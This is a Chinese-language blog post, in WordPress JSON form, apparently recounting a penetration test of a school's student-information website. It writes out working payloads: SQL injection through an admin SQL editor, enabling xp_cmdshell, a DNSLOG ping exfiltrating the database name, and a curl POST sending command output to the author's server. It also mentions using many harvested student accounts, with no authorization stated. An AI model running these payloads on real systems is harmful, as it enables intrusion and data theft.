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\u7ec8\u4e8e\u5728\u832b\u832b\u591a\u7684\u529f\u80fd\u4e2d\u627e\u5230\u4e86\u4e00\u4e2a\u5f88\u7279\u6b8a\u7684\u5730\u65b9\uff1a<\/p>\n\n\n\n

\"image-20250310140929365\"\/<\/div><\/figure>\n\n\n\n

\u53ef\u4ee5\u7f16\u8f91SQL\u8bed\u53e5\u3002<\/p>\n\n\n\n

\u4e14\u770b\u6587\u4ef6\u540d\u79f0\uff0c\u4e0e\u5b66\u751f\u7528\u6237\u7aef\u524d\u53f0\u7684”\u6587\u4ef6\u8bf7\u6c42”\u4e00\u81f4\uff1a<\/p>\n\n\n\n

\"image-20250310141207275\"\/<\/div><\/figure>\n\n\n\n

\u90a3\u4e48\u4fbf\u5f88\u5bb9\u6613\u731c\u6d4b\uff0c\u524d\u53f0\u7528\u6237\u6bcf\u70b9\u51fb\u4e00\u6b21\u6587\u4ef6\uff0c\u540e\u7aef\u5c31\u80af\u5b9a\u4f1a\u6267\u884c\u4e00\u4e0b\u6240\u8c13”\u62a5\u8868SQL””\u83dc\u5355SQL”\u7684\u8bed\u53e5\u5e76\u8fd4\u56de\u7ed3\u679c\u3002<\/p>\n\n\n\n

\u5982\u679c\u662f\u8fd9\u6837\u7684\u8bdd\uff0c\u6dfb\u52a0\u4e9b\u6076\u610f\u7684SQL\uff0c\u6bd4\u5982\u5916\u5e26\u6570\u636e\u5e93\u540d\u7b49\u7b49\uff0c\u53ef\u80fd\u4e5f\u4f1a\u56de\u663e\u5230\u5f97\u5230\u7684\u6587\u4ef6\u91cc\u3002<\/p>\n\n\n\n

\u4e0d\u591a\u8bf4\uff0c\u5f00\u59cb\u6d4b\u8bd5\u3002<\/p>\n\n\n\n

\u7531\u4e8e\u8fd9\u4e2a\u7f51\u7ad9\u7684\u7528\u6237\u91cf\u8fd8\u633a\u5927\uff0c\u4e3a\u4e86\u4e0d\u5f71\u54cd\u5b66\u6821\u7f51\u7ad9\u7684\u6b63\u5e38\u8fd0\u884c\u4fbf\u62c9\u7740\u4e00\u4e2a\u8bbf\u95ee\u91cf\u6700\u5c0f\u7684\u6587\u4ef6\u7c7b\u578b\u8fdb\u884c\u5c1d\u8bd5\u3002<\/p>\n\n\n\n

\"image-20250310225045386\"\/<\/div><\/figure>\n\n\n\n

\u8fd9\u4e00\u8bd5\u82b1\u8d39\u7684\u65f6\u95f4\u53ef\u5c31\u592a\u591a\u4e86\uff0c\u4e5f\u9047\u5230\u4e86\u633a\u591a\u95ee\u9898\uff1a<\/p>\n\n\n\n

\u8fd9\u4e2a\u7f51\u7ad9\u7684\u62a5\u8868SQL\u3001\u83dc\u5355SQL\u8fd8\u6709\u524d\u7aef\u90fd\u6709\u7275\u8fde\uff0c\u5b57\u6bb5\u751a\u81f3\u8bed\u6cd5\u90fd\u4e0d\u80fd\u5f04\u9519\uff0c\u5426\u5219\u5f88\u5bb9\u6613\u5c31\u4f1a\u51fa\u95ee\u9898\uff0c\u6267\u884c\u4e0d\u4e86\u4e00\u70b9\u3002<\/p>\n\n\n\n

\u66f4\u8ba9\u6d4b\u8bd5\u53d7\u963b\u7684\u662f\u6bcf\u4e2a\u7528\u6237\u7533\u8bf7\u6587\u4ef6\uff0c\u5982\u679c\u7533\u8bf7\u6210\u529f(\u4f46\u5927\u591a\u6570\u65f6\u5019\u6570\u636e\u5e93\u540d\u90fd\u4e0d\u4f1a\u56de\u663e\u5230\u6587\u4ef6\u91cc)\uff0c\u7f51\u7ad9\u90fd\u4f1a\u5bf9\u7533\u8bf7\u5230\u7684\u6587\u4ef6\u8fdb\u884c\u7f13\u5b58<\/strong>\uff0c\u5e76\u6cbf\u7528\u4e0a\u4e00\u6b21SQL\u8bf7\u6c42\u7684\u8fd4\u56de\u7ed3\u679c\uff0c\u610f\u5473\u7740\u6211\u7684\u6bcf\u4e00\u6b21\u5c1d\u8bd5\u90fd\u53ef\u80fd\u8981\u6362\u4e00\u4e2a\u65b0\u7684\u8d26\u6237(\u53ea\u80fd\u8bf4\u8fd8\u597d\u4e4b\u524d\u83b7\u53d6\u7684\u8d26\u53f7\u5f88\u591a)…….<\/p>\n\n\n\n

\u7ec8\u4e8e\uff0c\u5c1d\u8bd5\u4e86\u65e0\u6570\u4e2apayload\uff0c\u7ec8\u4e8e\u5916\u5e26\u4e86\u4e00\u6b21\u6570\u636e\uff1a<\/p>\n\n\n\n

\"image-20250310193746935\"\/<\/div><\/figure>\n\n\n\n
SELECT xb
FROM dbo.cxsyxm a
LEFT JOIN z_V_xsjbxxb b ON a.xh = b.xh
WHERE a.xh = '\u5b66\u53f7' AND a.rn = '\u9009\u4e2d\u503c' 
UNION 
SELECT db_name(); <\/pre>\n\n\n\n
\"image-20250630144354102\"\/<\/div><\/figure>\n\n\n\n
\u5728\u6d4b\u8bd5\u7684\u8fc7\u7a0b\u4e2d\u4e5f\u77e5\u9053\u4e86\u8be5\u6570\u636e\u5e93\u8bed\u6cd5\u4e3aSQL Server\u3002<\/p>\n\n\n\n
\u65e2\u7136\u662fSQL Server\uff0c\u800c\u4e14\u662f\u6574\u6bb5\u8bed\u53e5\u7684\u5b8c\u6574\u4f20\u5165\uff0c\u90a3\u4e48\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u7528SQL Server\u7684exec xp_cmdshell<\/strong>\u6765\u547d\u4ee4\u6267\u884c\u3002<\/p>\n\n\n\n
\u90a3\u4e48\u6b64\u65f6\u4fbf\u53ef\u4ee5\u65b0\u5efa\u4e00\u4e2atest\u6587\u4ef6\uff0c\u5148\u8bd5\u8bd5DNSLOG\u5916\u5e26<\/strong>\u6570\u636e\u5e93\u540d\uff0c\u6765\u6d4b\u8bd5\u76ee\u6807\u670d\u52a1\u5668\u662f\u5426\u51fa\u7f51\uff1a<\/p>\n\n\n\n
\"image-20250310193726808\"\/<\/div><\/figure>\n\n\n\n
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE;  
EXEC sp_configure 'xp_cmdshell', 1;  
RECONFIGURE;
DECLARE @dbName NVARCHAR(128);
DECLARE @cmd NVARCHAR(400);
SET @dbName = DB_NAME();
SET @cmd = 'ping ' + @dbName + '.ch85c4.dnslog.cn';
EXEC xp_cmdshell @cmd;<\/pre>\n\n\n\n
\u767b\u5f55\u5b66\u751f\u8d26\u53f7\u8bf7\u6c42\u5bf9\u5e94\u6587\u4ef6\uff1a<\/p>\n\n\n\n
\"image-20250310225615011\"\/<\/div><\/figure>\n\n\n\n
\u6b64\u65f6\u67e5\u770bDNSLOG\u7684\u89e3\u6790\u8bb0\u5f55\uff1a<\/p>\n\n\n\n
\"image-20250310143651175\"\/<\/div><\/figure>\n\n\n\n
\u6210\u529f\u5c06\u6570\u636e\u5e93\u540d\u5e26\u51fa\uff01<\/p>\n\n\n\n
\u90a3\u4e48\u63a5\u4e0b\u6765\u4fbf\u662f\u60f3\u8981\u6267\u884c\u547d\u4ee4\uff0c\u8fd9\u91cc\u4fbf\u6709\u4e00\u4e2a\u8e29\u5751\uff1a<\/p>\n\n\n\n
\u7531\u4e8e\u5728\u8d85\u7ba1\u6743\u9650\u4e0b\u770b\u5230\u7684\u7cfb\u7edf\u7ba1\u7406\u83dc\u5355\u5904\u662fLINUX\u7cfb\u7edf<\/strong>\uff1a<\/p>\n\n\n\n
\"image-20250310225849508\"\/<\/div><\/figure>\n\n\n\n
\u6240\u4ee5\u4fbf\u4e00\u76f4\u8fdb\u884cLINUX\u7684\u547d\u4ee4\u6267\u884c\uff0c\u50cf\u662fls\u4e4b\u7c7b\u7684\u547d\u4ee4\u3002<\/p>\n\n\n\n
\u540e\u7eed\u518d\u6d4b\u8bd5\u6267\u884cwindows\u547d\u4ee4<\/strong>\u624d\u6210\u529f\u6267\u884c\uff0c\u6b64\u65f6\u624d\u53cd\u5e94\u8fc7\u6765\u8fd9\u5957\u7cfb\u7edf\u662f\u5178\u578b\u7684\u7ad9\u5e93\u5206\u79bb<\/strong>\uff0c\u5373WEB\u670d\u52a1\u7cfb\u7edf\u4e3b\u673a\u548c\u6570\u636e\u5e93\u4e3b\u673a\u662f\u5206\u79bb\u5f00\u7684<\/strong>\u3002<\/p>\n\n\n\n
\u90a3\u4e48\u4fee\u6539SQL\u8bed\u53e5\u4e3a\u6267\u884cdir\u547d\u4ee4\uff1a<\/p>\n\n\n\n
\"image-20250310193933372\"\/<\/div><\/figure>\n\n\n\n
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE;  
EXEC sp_configure 'xp_cmdshell', 1;  
RECONFIGURE;
EXEC xp_cmdshell 'dir 2>&1 | curl -X POST --data @- http:\/\/ip:port ';<\/pre>\n\n\n\n
\u6210\u529f\u5728VPS\u4e0a\u83b7\u5f97\u547d\u4ee4\u56de\u663e\uff01<\/p>\n\n\n\n
\"image-20250310144010349\"\/<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
\u4e00\u4e2a\u975e\u540c\u5bfb\u5e38\u7684\u4fe1\u606f\u6cc4\u9732 \u5f00\u5c40\u4e00\u4e2a\u767b\u5f55\u6846\uff1a \u53f3\u4e0b\u89d2\u6709\u4e00\u4e2a”\u70b9\u51fb\u67e5\u770b\u64cd\u4f5c\u624b\u518c”\u5c31\u5f88\u663e\u773c\uff0c\u8ba9 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-22","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/posts\/22","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/comments?post=22"}],"version-history":[{"count":2,"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/posts\/22\/revisions"}],"predecessor-version":[{"id":25,"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/posts\/22\/revisions\/25"}],"wp:attachment":[{"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/media?parent=22"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/categories?post=22"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/tags?post=22"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}